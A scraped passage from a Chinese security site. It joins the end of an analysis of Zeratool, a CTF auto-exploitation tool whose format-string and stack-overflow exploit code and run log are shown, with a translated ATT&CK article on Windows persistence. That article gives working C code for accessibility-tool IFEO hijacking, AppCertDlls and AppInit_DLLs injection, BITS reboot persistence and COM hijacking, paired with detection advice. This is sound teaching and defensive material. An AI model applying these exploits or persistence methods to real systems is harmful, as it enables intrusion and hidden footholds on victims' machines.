data_leaks = [''.join([y[x:x+2] for x in range(0, len(y), 2)][::-1]) for y in data_leaks]
try:
data_copy = data_leaks
data_leaks = [binascii.unhexlify(x) for x in data_leaks]
最后获得完整的输出信息(`full_string`), 如果该字符串中存在 “{” 和 “}” 则说明获得了 flag, 将泄露信息返回
if '{' in full_string and '}' in full_string: # 判断是否存在 flag
print("[+] Flag found:")
leakProperties['flag_found'] = True # 标志 flag found
leakProperties['leak_string'] = full_string # 泄露的信息
print("[+] Returned {}".format(full_string))
return leakProperties
以上就是漏洞检测相关内容，接下来我们查看漏洞利用部分。
### 漏洞利用
#### 格式化字符串漏洞
基本利用技巧为修改 got 表项为 shellcode 地址或目标函数。
[formatExploiter.py](https://github.com/ChrisTheCoolHut/Zeratool/blob/d4dda1a017/lib/formatExploiter.py)
利用思路：
1. 计算格式化字符串的偏移量
2. 通过构造 payload 修改 got 表项目标函数或 shellcode 地址（不考虑 NX 包含）
首先获得格式化字符串缓冲区在栈上偏移，记为 `stack_position`：
#Determine stack location
for i in range(1, 50):
iter_string = "aaaa_%{}$08x_".format(i) # 关键 payload,用于探测 buffer的偏移
iter_string = assembleInput(iter_string,start_slice,end_slice,input_len)
results = runIteration(binary_name,iter_string,input_type=properties['input_type'])
if "61616161" in results: # 0x41414141 == "AAAA"
stack_position = i # 确定 buffer 的偏移为 i
print("[+] Found stack location at {}".format(stack_position))
break
其中使用 `assembleInput` 函数计算得到输入的字符串。`runIteration` 函数用于发送 payload 并处理得到的字符串。
如果存在目标函数，则覆盖某一 got 表项为目标函数的地址：
# 对于存在目标函数的情况
if len(properties['win_functions']) > 0:
for func in properties['win_functions']:
address = properties['win_functions'][func]['fcn_addr'] #获取目标函数
for got_name,got_addr in properties['protections']['got'].items(): # 遍历 got 表项
print("[~] Overwritting {}".format(got_name))
writes = {got_addr:address}
format_payload = fmtstr_payload(stack_position, writes, numbwritten=input_pos) # 构造 payload,将 got 地址改为目标函数地址
if len(format_payload) > input_len:
print("[~] Format input to large, shrinking")
format_payload = fmtstr_payload(stack_position, writes, numbwritten=input_pos, write_size='short')
format_input = assembleInput(format_payload,start_slice,end_slice,input_len) # 获取输入字符串
# 发送payload 并处理返回结果
results = sendExploit(binary_name,properties,format_input)
if results['flag_found']:
exploit_results['flag_found'] = results['flag_found']
exploit_results['input'] = format_input
return exploit_results
return exploit_results
构造 `payload` 时利用了 `pwntools` 的 `fmtstr_payload` 工具（ `format_payload` 详细
[API信息](https://docs.pwntools.com/en/stable/fmtstr.html#pwnlib.fmtstr.fmtstr_payload)
)
`fmtstr_payload` 用于自动生成格式化字符串 `payload`：
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
- offset (int)：控制的第一个格式化变量的偏移量
- writes (dict)：格式为 {addr: value, addr2: value2}， 往 addr 里写入 value 的值（常用：----{printf_got}）
- numbwritten (int)：已经由 printf 函数写入的字节数
如果不存在目标函数，且没有 NX 保护，则考虑写入 `shellcode`，修改 got 地址指向 shellcode:
elif not properties['protections']['nx']:
print("[+] Binary does not have NX")
print("[+] Overwriting GOT entry to point to shellcode")
rediscoverAndExploit(binary_name,properties,stack_position)
`rediscoverAndExploit` 重新探索程序状态进行漏洞利用，部分逻辑与 `formatDetector` 模块相似。
下面看一下具体实现：
properties['shellcode'] = getShellcode(properties)
properties['stack_position'] = stack_position
inputType = properties['input_type']
p = angr.Project(binary_name)
p.hook_symbol('printf',printFormatSploit)
用 `getShellcode()` 函数根据程序架构获取 `shellcode`，初始化项目，并使用 `printFormatSploit` 函数
hook printf，接下来调整寄存器的值。
if inputType == "STDIN":
'''
angr doesn't use the right base and stack pointers
when loading the binary, so our addresses are all wrong.
So we need to grab them manually
'''
entryAddr = p.loader.main_object.entry # 获取入口地址
reg_values = getRegValues(binary_name,entryAddr) # 将入口地址作为 r2 的运行断点
state = p.factory.full_init_state(args=argv)
register_names = state.arch.register_names.values() # 获取寄存器的名称
for register in register_names:
if register in reg_values:
state.registers.store(register,reg_values[register]) # 重新设置寄存器的值
`getRegValues` 使用 r2 获取运行时寄存器的值，通过 angr 的 state.registers.store 重新设置寄存器的值。
def getRegValues(filename,endAddr):
r2 = r2pipe.open(filename)
r2.cmd('doo') # Reopen in debugger mode with args
r2.cmd('dcu {}'.format(endAddr)) # Continue until address
regs = json.loads(r2.cmd('drj')) # Show 'gpr' registers
r2.quit()
return regs
接下来探索程序状态，与漏洞检测部分类似，我们重点看一下 `printFormatSploit` 的实现。它与 `formatDetector` 中的
`printFormat` 函数类似，区别在于获得可控缓冲区后的处理逻辑。
`printFormat` 获取缓冲区后便尝试构造 `payload` ，设定漏洞利用约束，尝试将 `shellcode` 存放在缓冲区中。
实际构造的字符串格式为 `(Format GOT Write) + (Shellcode)`，因为需要计算 `(Format GOT Write)`
的长度，此处需要模拟构造一次 `payload` 获得长度，以此计算 `shellcode` 的地址。
# 获得可控的缓冲区，前面的逻辑与 printFormat 相同
if greatest_count > 0:
shellcode = properties['shellcode']
stack_pos = properties['stack_position']
for got_name,got_addr in properties['protections']['got'].items():
backup_state = state_copy.copy()
print("[+] Overwiting {} at {}".format(got_name,hex(got_addr)))
solv = state_copy.solver.eval
# 模拟写入获得估计长度
buffer_address = var_loc + position # 获得可控 buffer的起始的地址
writes = {got_addr:buffer_address}
format_write = fmtstr_payload(stack_pos, writes, numbwritten=position, write_size='short') # 构造 payload, 将 got 地址改为 buffer 地址
write_len = len(format_write)
#Real write
buffer_address = var_loc + position + write_len # 获得用于写入shellcode的buffer地址
writes = {got_addr:buffer_address}
format_write = fmtstr_payload(stack_pos, writes, numbwritten=position, write_size='short')
#Final payload
format_payload = format_write + shellcode # 最终输入的字符串
var_value_length = len(format_payload) self.constrainBytes(state_copy,var_value,var_loc,position,var_value_length,strVal=format_payload) # 设定约束
vuln_string = solv(var_value, cast_to=str)
binary_name = state_copy.project.filename
results = {}
results['flag_found'] = False
print('[~] Testing payload')
#约束求解获得 stdin 值，发送 payload 并处理返回信息
results = sendExploit(binary_name,properties,state_copy.posix.dumps(0))
if results['flag_found'] == True:
exploit_results['flag_found'] = results['flag_found']
exploit_results['input'] = format_input
`sendExploit` 函数用于发送 `payload`, 并处理返回信息，如果返回信息包含 “{” 和 “}”，则说明找到
flag。如果没有，返回的可能是 shell，发送 cat命令获取 flag。
proc.sendline()
proc.sendline("ls;\n")
proc.sendline("cat *flag*;\n") # 发送 shell 命令获得 flag
proc.sendline("cat *pass*;\n")
command_results = proc.recvall(timeout=30)
if '{' in command_results and '}' in command_results: # 查看是否有 flag
send_results['flag_found'] = True
print("[+] Flag found:")
print(command_results.replace('\x20\x20',''))
以上就是格式化字符串漏洞利用的大致内容，有些特殊情况的处理没有提及，可以通过阅读源码了解。
接下来我们查看缓冲区溢出漏洞利用的内容。
#### 缓冲区溢出漏洞
[overflowExploiter.py](https://github.com/ChrisTheCoolHut/Zeratool/blob/d4dda1a017/lib/overflowExploiter.py)
，主函数为 `exploitOverflow`
**利用思路：** 修改 pc 值指向 `winfunction / ropchain / shellcode`地址，劫持程序控制流。
首先初始化项目，探索程序状态，设置模拟管理器 `explore` 时的 `step_func` 为
`pickFilter`函数，此处逻辑与检测缓冲区溢出漏洞逻辑相似，只是 `step_func` 不同。
simgr = p.factory.simgr(state, immutable=False, save_unconstrained=True)
step_func = pickFilter(simgr,properties) # 设置 step_func
....
run_environ = {}
run_environ['type'] = None
end_state = None
try:
@timeout_decorator.timeout(1200)
def exploreBinary(simgr):
simgr.explore(find=lambda s: 'type' in s.globals,step_func=step_func) # 探索
exploreBinary(simgr)
if 'found' in simgr.stashes and len(simgr.found): # 找到
end_state = simgr.found[0]
end_state_eb = simgr.found[0].globals['state_eb']
run_environ['type'] = end_state.globals['type']
我们来看一下 `pickFilter` 的实现，该函数用于判断程序信息，以采用不同的漏洞技术, 对应实现了 `point_to_win_filter /
point_to_shellcode_filter / point_to_ropchain_filter`
三个子函数，这三个子函数均对模拟管理器中的未约束状态进行分析，根据情况构造不同的约束
if properties['win_functions']: # 存在目标函数则修改 got 指向目标函数
print("[+] Using point to win function technique")
return point_to_win_filter
elif not properties['protections']['nx']: # 如果没有 NX，则采用 shellcode
print("[+] Binary does not have NX")
print("[+] Placing shellcode and pointing")
return point_to_shellcode_filter
else:
print("[+] Building rop and pointing")
return point_to_ropchain_filter # 使用 ropchain
return None
在 `point_to_win_filter` 中，构造如下约束:
1. pc 的值为目标函数的地址
2. stdin 值为可打印字符
最后进行约束求解，得到输入字符串
stdin_str = repr(str(state.posix.dumps(0).replace('\x00','').replace('\x01','')))
在 `point_to_shellcode_filter`，约束条件如下：
1. 获取可控的 buffer, 可存放 shellcode
2. 限定 pc 值指向 buffer 地址
3. 输入值为可打印字符
获取符号化的内存，根据长度进行排序
addresses = [x for x in find_symbolic_buffer(state_copy,len(shellcode))]
if len(addresses):
list.sort(addresses)
如果无法满足，找到 `bad bytes`, 添加到 `avoidList`，重新生成`shellcode`.
my_buf = state_copy.memory.load(address,len(shellcode)) #获取 buffer 的内容
state_copy.satisfiable(extra_constraints=([my_buf == shellcode])) #判断是否可以满足
如果无法找到合适的 `shellcode`, 会抛出异常。
except PwnlibException as e:
print("[-] Unable to encode shellcode to avoid {}".format(avoidList))
break
否则，我们会获得可以满足条件的 `shellcode`, 最后设定约束对输入值进行求解。
constraints = constrainToAddress(state_copy,eip,address)
代码中还考虑了大端序和小端序的问题，这里就略去了。
最后通过 `repr(str(state.posix.dumps(0)))` 对输入字符串进行约束求解。
`point_to_ropchain_filter` 函数与 `point_to_shellcode_filter`十分相似，只是 shellcode 改为
ropchain
`getRopchain` 函数实现了构造 `ropchain`，该函数利用了 `ropper` 的 `RopperService` 来构造 rop 链。
以上就是缓冲区溢出漏洞利用的主要内容。
## 运行结果
以下 `zeratool` 运行示例效果，感兴趣的可以使用其他程序试试，查看效果。
root@3566e45f97d4:/ctf/Zeratool# python zeratool.py challenges/ret -u ctf.hackucf.org -p 9003
[+] Checking pwn type...
[+] Checking for overflow pwn type...
[+] Vulnerable path found '0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde000...'
[+] Triggerable with STDIN : '0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde00...'
[+] Getting binary protections
[+] Found win function sym.win
[+] Exploiting overflow
Process with PID 825 started...
File dbg:///ctf/Zeratool/challenges/ret reopened in read-write mode
= attach 825 825
Continue until 0x0804868b using 1 bpsize
hit breakpoint at: 804868b
[+] Using point to win function technique
[+] Vulnerable path found '0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde000000000000\x08\x04\x86\x1b0000000000000000'
[+] Triggerable with STDIN : '0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde000000000000\x08\x04\x86\x1b0000000000000000\x00\x00\x00...'
'0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde000000000000\x08\x04\x86\x1b0000000000000000\x00\x00\x00\x00....'
[~] Failed exploit launch. Switching Endianess
'0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde000000000000\x1b\x86\x04\x080000000000000000\x0.....'
you Win!
challenges flag.txt lib radare2 samples.sh
core install.sh LICENSE README.md zeratool.py
flag{y0u_g0t_1t}
## 总结
`zeratool` 基于 angr，其漏洞利用自动化思路基本就是探索状态，分析利用状态，设定约束，求解约束。Zeratool
仅实现了格式化字符串和栈溢出漏洞的自动化利用，使用的利用技术也较为简单，而且没有考虑一些保护机制，实现也有一些有一些冗余，许多地方逻辑相似但是没有很好地模块化。
## 参考链接
1. <https://github.com/ChrisTheCoolHut/Zeratool>
2. <https://angr.io/api-doc/>
3. <https://firmianay.gitbooks.io/ctf-all-in-one/doc/3.1.1_format_string.html> | 社区文章 |
# ATT&CK之后门持久化
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在网络安全的世界里，白帽子与黑帽子之间无时无刻都在进行着正与邪的对抗，似乎永无休止。正所谓，道高一尺魔高一丈，巨大的利益驱使着个人或组织利用技术进行不法行为，花样层出不穷，令人防不胜防。
为了更好的应对这些攻击手段，就需要做到了解对手。俗话说：知己知彼，方能百战不殆。MITRE
ATT&CK™就提供了全球范围的黑客的攻击手段和技术知识点，并把APT组织或恶意工具使用到的攻击手段一一对应，便于从根源上解决问题。许多公司和政府部门都会从中提取信息，针对遇到的威胁建立安全体系或模型。我们作为安全从业人员，如果能够掌握MITRE
ATT&CK™如此庞大的知识体系，对以后的工作和对抗来说，就像是拥有了一个武器库，所向披靡。
当然，这么一个庞大的体系是不可能一蹴而就的。我们可以依照MITRE
ATT&CK™的框架，先从持久化这一点开始。本文的主要内容是介绍APT攻击者在Windows系统下持久运行恶意代码的常用手段，其中的原理是什么，是怎样实现的，我们应该从哪些方面预防和检测。希望对大家有所帮助！
本文测试环境：
测试系统：Windows 7
编译器：Visual Stuidio 2008
以下是本文按照MITRE
ATTACK框架介绍的例子和其对应的介绍，我们深入分析了实现的原理，并且通过原理开发了相应的利用工具进行测试，测试呈现出的效果也都在下文一一展现。
* * *
标题 | -简介- | 权限 | 链接
---|---|---|---
辅助功能镜像劫持 | 在注册表中创建一个辅助功能的注册表项，并根据镜像劫持的原理添加键值，实现系统在未登录状态下，通过快捷键运行自己的程序。 | 管理员 |
<https://attack.mitre.org/techniques/T1015/>
<https://attack.mitre.org/techniques/T1183/>
进程注入之AppCertDlls 注册表项 |
编写了一个dll，创建一个AppCertDlls注册表项，在默认键值中添加dll的路径，实现了对使用特定API进程的注入。 | 管理员 |
<https://attack.mitre.org/techniques/T1182/>
进程注入之AppInit_DLLs注册表项 |
在某个注册表项中修改AppInit_DLLs和LoadAppInit_DLLs键值，实现对加载user32.dll进程的注入。 | 管理员 |
<https://attack.mitre.org/techniques/T1103/>
BITS 的灵活应用 | 通过bitsadmin命令加入传输任务，利用BITS的特性，实现每次重启都会执行自己的程序。 | 用户 |
<https://attack.mitre.org/techniques/T1197/>
Com组件劫持 | 编写了一个dll，放入特定的路径，在注册表项中修改默认和 ThreadingModel键值，实现打开计算器就会运行程序。 | 用户 |
<https://attack.mitre.org/techniques/T1122/>
DLL劫持 | 编写了一个lpk.dll，根据Windows的搜索模式放在指定目录中，修改注册表项，实现了开机启动执行dll。 | 用户 |
<https://attack.mitre.org/techniques/T1038/>
Winlogon helper | 编写了一个dll，里面有一个导出函数，修改注册表项，实现用户登录时执行导出函数。 | 管理员 |
<https://attack.mitre.org/techniques/T1004/>
篡改服务进程 | 编写一个服务进程，修改服务的注册表项，实现了开机启动自己的服务进程。 | 管理员 |
<https://attack.mitre.org/techniques/T1031/>
替换屏幕保护程序 | 修改注册表项，写入程序路径，实现在触发屏保程序运行时我们的程序被执行 | 用户 |
<https://attack.mitre.org/techniques/T1180/>
创建新服务 | 编写具有添加服务和修改注册表功能的程序以及有一定格式的dll，实现服务在后台稳定运行。 | 管理员 |
<https://attack.mitre.org/techniques/T1050/>
启动项 | 根据Startup目录和注册表Run键，创建快捷方式和修改注册表，实现开机自启动 | 用户 |
<https://attack.mitre.org/techniques/T1060/>
WMI事件过滤 | 用WMIC工具注册WMI事件，实现开机120秒后触发设定的命令 | 管理员 |
<https://attack.mitre.org/techniques/T1084/>
Netsh Helper DLL | 编写了一个netsh helper dll，通过netsh命令加入了 helper 列表，并将netsh
加入了计划任务，实现开机执行DLL | 管理员 | <https://attack.mitre.org/techniques/T1128/>
# 辅助功能镜像劫持
### 代码及原理介绍
为了使电脑更易于使用和访问，Windows添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征，一些恶意软件无需登录到系统，通过远程桌面协议就可以执行恶意代码。
一些常见的辅助功能如：
C:WindowsSystem32sethc.exe 粘滞键 快捷键：按五次shift键
C:WindowsSystem32utilman.exe 设置中心 快捷键：Windows+U键
下图就是在未登陆时弹出的设置中心
在较早的Windows版本，只需要进行简单的二进制文件替换，比如，程序”
C:WindowsSystem32utilman.exe”可以替换为“cmd.exe”。
对于在Windows Vista和Windows Server
2008及更高的版本中，替换的二进制文件受到了系统的保护，因此这里就需要另一项技术：映像劫持。
映像劫持，也被称为“IFEO”（Image File Execution
Options）。当目标程序被映像劫持时，双击目标程序，系统会转而运行劫持程序，并不会运行目标程序。许多病毒会利用这一点来抑制杀毒软件的运行，并运行自己的程序。
造成映像劫持的罪魁祸首就是参数“Debugger”，它是IFEO里第一个被处理的参数，系统如果发现某个程序文件在IFEO列表中，它就会首先来读取Debugger参数，如果该参数不为空，系统则会把Debugger参数里指定的程序文件名作为用户试图启动的程序执行请求来处理，而仅仅把用户试图启动的程序作为Debugger参数里指定的程序文件名的参数发送过去。
参数“Debugger”本来是为了让程序员能够通过双击程序文件直接进入调试器里调试自己的程序。现在却成了病毒的攻击手段。
简单操作就是修改注册表，在“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage
File Execution Option”中添加utilman.exe项，在此项中添加debugger键，键值为要启动的程序路径。
实现代码：
HKEY hKey;
const char path[] = “C:hello.exe”;
RegCreateKeyExA(HKEY_LOCAL_MACHINE,”SoftwareMicrosoftWindowsNTCurrentVersionImage File Execution OptionsUtilman.exe”, 0,NULL, 0, KEY_WRITE, NULL, &hKey,&dwDisposition);
RegSetValueExA(hKey, “Debugger”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)))
当然，我们自己的程序要放到相应的路径，关于资源文件的释放，下文会提到，这里暂且按下不讲。
### 运行效果图
当重新回到登录界面，按下快捷键时，结果如图：
注册表键值情况如下图：
### 检查及清除方法
检查“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File
Execution Option”注册表路径中的程序名称
其它适用于的辅助功能还有：
屏幕键盘：C:WindowsSystem32osk.exe
放大镜：C:WindowsSystem32Magnify.exe
旁白：C:WindowsSystem32Narrator.exe
显示开关：C:WindowsSystem32DisplaySwitch.exe
应用程序开关：C:WindowsSystem32AtBroker.exe
现在大部分的杀毒软件都会监视注册表项来防御这种恶意行为。
## 进程注入之AppCertDlls 注册表项
### 代码及原理介绍
如果有进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec
函数，那么此进程会获取HKEY_LOCAL_MACHINESystemCurrentControlSetControlSessionManagerAppCertDlls注册表项，此项下的dll都会加载到此进程。
Win7版本下没有“AppCertDlls”项，需自己创建。
代码如下：
HKEY hKey;
const char path[] = “C:dll.dll”;
RegCreateKeyExA(HKEY_LOCAL_MACHINE,”SYSTEMCurrentControlSetControlSession ManagerAppCertDlls”, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, “Default”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
Dll代码：
BOOL TestMutex()
{
HANDLE hMutex = CreateMutexA(NULL, false, “myself”);
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return 0;
}
return 1;
}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if (TestMutex() == 0)
return TRUE;
MessageBoxA(0,”hello topsec”,”AppCert”,0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
### 运行效果图
修改完注册表之后，写个测试小程序，用CreateProcess打开notepad.exe
可以看到test.exe中已经加载dll.dll，并弹出“hello
topsec”。也能发现，在svchost.exe和taskeng.exe中也加载了dll.dll。
### 检查及清除方法
监测dll的加载，特别是查找不是通常的dll，或者不是正常加载的dll。
监视AppCertDLL注册表值
监视和分析注册表编辑的API调用，如RegCreateKeyEx和RegSetValueEx。
## 进程注入之AppInit_DLLs注册表项
### 代码及原理介绍
User32.dll被加载到进程时，会获取AppInit_DLLs注册表项，若有值，则调用LoadLibrary()
API加载用户DLL。只会影响加载了user32.dll的进程。
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsNTCurrentVersionWindowAppinit_Dlls
代码如下：
HKEY hKey;
DWORD dwDisposition;
const char path[] = “C:AppInit.dll”;
DWORD dwData = 1;
RegCreateKeyExA(HKEY_LOCAL_MACHINE,”SOFTWAREMicrosoftWindows NTCurrentVersionWindows”, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, “AppInit_DLLs”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
RegSetValueExA(hKey, “LoadAppInit_DLLs”, 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD));
### 运行效果图
修改过后如下图所示：
运行cmd.exe，就会发现cmd.exe已经加载指定dll，并弹框。
此注册表项下的每个库都会加载到每个加载User32.dll的进程中。User32.dll是一个非常常见的库，用于存储对话框等图形元素。恶意软件可以在Appinit_Dlls注册表项下插入其恶意库的位置，以使另一个进程加载其库。因此，当恶意软件修改此子键时，大多数进程将加载恶意库。
### 检查及清除方法
监测加载User32.dll的进程的dll的加载，特别是查找不是通常的dll，或者不是正常加载的dll。
监视AppInit_DLLs注册表值。
监视和分析注册表编辑的API调用，如RegCreateKeyEx和RegSetValueEx。
## BITS的灵活应用
### 代码及原理介绍
BITS，后台智能传输服务，是一个 Windows
组件，它可以利用空闲的带宽在前台或后台异步传输文件，例如，当应用程序使用80%的可用带宽时，BITS将只使用剩下的20%。不影响其他网络应用程序的传输速度，并支持在重新启动计算机或重新建立网络连接之后自动恢复文件传输。
通常来说，BITS会代表请求的应用程序异步完成传输，即应用程序请求BITS服务进行传输后，可以自由地去执行其他任务，乃至终止。只要网络已连接并且任务所有者已登录，则传输就会在后台进行。当任务所有者未登录时，BITS任务不会进行。
BITS采用队列管理文件传输。一个BITS会话是由一个应用程序创建一个任务而开始。一个任务就是一份容器，它有一个或多个要传输的文件。新创建的任务是空的，需要指定来源与目标URI来添加文件。下载任务可以包含任意多的文件，而上传任务中只能有一个文件。可以为各个文件设置属性。任务将继承创建它的应用程序的安全上下文。BITS提供API接口来控制任务。通过编程可以来启动、停止、暂停、继续任务以及查询状态。在启动一个任务前，必须先设置它相对于传输队列中其他任务的优先级。默认情况下，所有任务均为正常优先级，而任务可以被设置为高、低或前台优先级。BITS将优化后台传输被，根据可用的空闲网络带宽来增加或减少（抑制）传输速率。如果一个网络应用程序开始耗用更多带宽，BITS将限制其传输速率以保证用户的交互式体验，但前台优先级的任务除外。
BITS的调度采用分配给每个任务有限时间片的机制，一个任务被暂停时，另一个任务才有机会获得传输时机。较高优先级的任务将获得较多的时间片。BITS采用循环制处理相同优先级的任务，并防止大的传输任务阻塞小的传输任务。
常用于 Windows Update的安装更新。
BITSAdmin，BITS管理工具，是管理BITS任务的命令行工具。
常用命令：
列出所有任务：bitsadmin /list /allusers /verbose
删除某个任务：bitsadmin /cancel <Job>
删除所有任务：bitsadmin /reset /allusers
完成任务：bitsadmin /complete <Job>
完整配置任务命令如下：
bitsadmin /create TopSec
bitsadmin /addfile TopSec https://gss3.bdstatic.com/7Po3dSag_xI4khGkpoWK1HF6hhy/baike/w%3D268%3Bg%3D0/sign=860ac8bc858ba61edf
eecf29790ff037/b3fb43166d224f4a179bbd650ef790529822d142.jpg C:TopSec.jpg
bitsadmin.exe /SetNotifyCmdLine TopSec “%COMSPEC%” “cmd.exe /c bitsadmin.exe /complete ”TopSec” && start /B C:TopSec.jpg”
bitsadmin /Resume TopSec
下载图片到指定文件夹，完成后直接打开图片。
如果图片可以打开，那么就说明可以打开任意二进制程序。而BITS又有可以中断后继续工作的特性，所以下面就是解决在系统重新启动后仍能自动运行的操作。
现在将完成参数“complete”去掉，为了节省时间，将下载的远程服务器文件换成本地文件。代码如下：
void BitsJob()
{
char szSaveName[MAX_PATH] = "C:\bitshello.exe";
if (FALSE == m_Bits)
{
// 释放资源
BOOL bRet = FreeMyResource(IDR_MYRES22, "MYRES2", szSaveName);
WinExec("bitsadmin /create TopSec", 0);
WinExec("bitsadmin /addfile TopSec "C:\Windows\system32\cmd.exe" "C:\cmd.exe"", 0);
WinExec("bitsadmin.exe /SetNotifyCmdLine TopSec "C:\Windows\system32\cmd.exe" "cmd.exe /c C:\bitshello.exe"", 0);
WinExec("bitsadmin /Resume TopSec", 0);
m_Bits = TRUE;
}
else
{
WinExec("bitsadmin /complete TopSec", 0);
remove(szSaveName);
m_Bits = FALSE;
}
UpdateData(FALSE);
}
解除未完成状态，需要命令“bitsadmin /complete TopSec”。
### 运行效果图
运行之后，拷贝到C盘的cmd.exe没有出现，却依然弹出对话框。
查看BITS任务列表，发现任务依然存在
重启计算机，发现弹出对话框，BITS任务依然存在。
执行命令“bitsadmin /complete TopSec”，出现拷贝到C盘的程序cmd.exe,任务完成。
### 检查及清除方法
BITS服务的运行状态可以使用SC查询程序来监视（命令：sc query bits），任务列表由BITSAdmin来查询。
监控和分析由BITS生成的网络活动。
## Com组件劫持
## 代码及原理介绍
COM是Component Object Model
（组件对象模型）的缩写，COM组件由DLL和EXE形式发布的可执行代码所组成。每个COM组件都有一个CLSID，这个CLSID是注册的时候写进注册表的，可以把这个CLSID理解为这个组件最终可以实例化的子类的一个ID。这样就可以通过查询注册表中的CLSID来找到COM组件所在的dll的名称。
所以要想COM劫持，必须精心挑选CLSID，尽量选择应用范围广的CLSID。这里，我们选择的CLSID为：{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}，来实现对
CAccPropServicesClass 和 MMDeviceEnumerator 的劫持。系统很多正常程序启动时需要调用这两个实例。例如计算器。
Dll存放的位置：//%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}
接下来就是修改注册表，在指定路径添加文件，具体代码如下：
void CPersistenceDlg::comHijacking()
{
HKEY hKey;
DWORD dwDisposition;
//%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C45792916//92E}
char system1[] = "C:\Users\TopSec\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\TopSec.dll";
char system2[] = "Apartment";
string defaultPath = "C:\Users\TopSec\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}";
string szSaveName = "C:\Users\TopSec\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\TopSec.dll";
if (FALSE == m_Com)
{
//string folderPath = defaultPath + "\testFolder";
string command;
command = "mkdir -p " + defaultPath;
system(command.c_str());
// 释放资源
BOOL bRet = FreeMyResource(IDR_MYRES23, "MYRES2", system1);
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
ShowError("RegCreateKeyExA");
return;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))
{
ShowError("RegSetValueEx");
return;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2))))
{
ShowError("RegSetValueEx");
return;
}
::MessageBoxA(NULL, "comHijacking OK!", "OK", MB_OK);
m_Com = TRUE;
}
else
{
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
ShowError("RegCreateKeyExA");
return;
}
if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))
{
ShowError("RegDeleteValueA");
return;
}
if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel"))
{
ShowError("RegDeleteValueA");
return;
}
remove(szSaveName.c_str());
remove(defaultPath.c_str());
::MessageBoxA(NULL, "Delete comHijacking OK!", "OK", MB_OK);
m_Com = FALSE;
}
UpdateData(FALSE);
}
### 运行效果图
运行后，文件和注册表如下：
运行计算器，弹出对话框：
### 检查及清除方法
由于COM对象是操作系统和已安装软件的合法部分，因此直接阻止对COM对象的更改可能会对正常的功能产生副作用。相比之下，使用白名单识别潜在的病毒会更有效。
现有COM对象的注册表项可能很少发生更改。当具有已知路径和二进制的条目被替换或更改为异常值以指向新位置中的未知二进制时，它可能是可疑的行为，应该进行调查。同样，如果收集和分析程序DLL加载，任何与COM对象注册表修改相关的异常DLL加载都可能表明已执行COM劫持。
## DLL劫持
### 代码及原理介绍
众所周知，Windows有资源共享机制，当对象想要访问此共享功能时，它会将适当的DLL加载到其内存空间中。但是，这些可执行文件并不总是知道DLL在文件系统中的确切位置。为了解决这个问题，Windows实现了不同目录的搜索顺序，其中可以找到这些DLL。
系统使用DLL搜索顺序取决于是否启用安全DLL搜索模式。
WindowsXP默认情况下禁用安全DLL搜索模式。之后默认启用安全DLL搜索模式
若要使用此功能，需创建HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession
ManagerSafeDllSearchMode注册表值，0为禁止，1为启用。
SafeDLLSearchMode启用后，搜索顺序如下：
从其中加载应用程序的目录、系统目录。
使用GetSystemDirectory函数获取此目录的路径。
16位系统目录。
没有获取此目录的路径的函数，但会搜索它。
Windows目录。
使用GetWindowsDirectory函数获取此目录。
当前目录。
PATH环境变量中列出的目录。
SafeDLLSearchMode禁用后，搜索顺序如下：
从其中加载应用程序的目录
当前目录
系统目录。
使用GetSystemDirectory函数获取此目录的路径。
16位系统目录。
没有获取此目录的路径的函数，但会搜索它。
Windows目录。
使用GetWindowsDirectory函数获取此目录。
PATH环境变量中列出的目录。
